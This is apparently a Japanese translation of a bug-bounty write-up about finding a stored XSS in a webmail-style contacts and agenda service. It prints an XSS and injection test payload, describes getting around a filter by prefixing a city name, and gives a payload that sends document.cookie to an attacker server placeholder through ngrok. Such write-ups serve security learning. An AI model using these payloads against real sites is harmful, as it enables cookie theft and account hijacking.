Shikata Ga Nai

Private? There is no such things.

How I find my first Stored XSS: 650€を訳してみた

Hello there, ('ω')ノ

 

最初の保存されたXSSを見つける方法を。

 

脆弱性:

 保存されたXSS

 

記事:

 https://filipaze.medium.com/how-i-find-my-first-stored-xss-c6f57155cc1a

 

開示できないターゲットで偵察を開始すると。

グーグルに似たサービスで、メールサービスやカレンダーなどがあって。

最も注目したのは、連絡先を保存して誰かと共有できるアジェンダサービスで。

ターゲットをハッキングし始めるたびに、通常のユーザとしてアプリを使用して。

その過程ですべての入力に<img src=x onerror=alert()>’”${{2*2}}を入力して。

これは、HTMLインジェクション、XSS、およびコードインジェクションをテストする。

ペイロードのペイロード1つで。

 

このサイトでは、住所と連絡先を関連付けることができたので。

最終的な連絡先では、住所の地図が他の連絡先の詳細とともに追加されて。

そこにバグがあって。

 

ペイロード<img src=x onerror=alert()>をアドレス入力に配置すると。

XSSがトリガされたことがわかったのでXSSが保存されて。

しかしながら、ペイロードが最初に入れたものから少し変わると。

動作しなくなることに気づいて。

 

たとえば、下記のように変更するとペイロードが機能しなくなって。

 <img src=x onerror=alert()>

 ⇩

 <img src=x onerror=alert(“hacked”)>

 

しかし、このアドレスを使用してユーザに地図を提供する場合に。

ペイロードは機能するだろうと思ったのでやってみるとできてしまって。

なので、ペイロードの前に都市を追加するだけで。

犠牲者にペイロードを届けることができて。

さらに自分のアカウントのCookieを盗むためのペイロードも試すことに。

 

new york <img src=x onerror=this.src=’<PUT_HERE_YOUR_SERVER>?’+document.cookie>

※今回は、ngrokを使用。

 

このペイロードはサーバに対して無制限の数のリクエストを生成するものの。

100文字に制限されていたため、可能な限り最小にする必要があって。

 

Best regards, (^^ゞ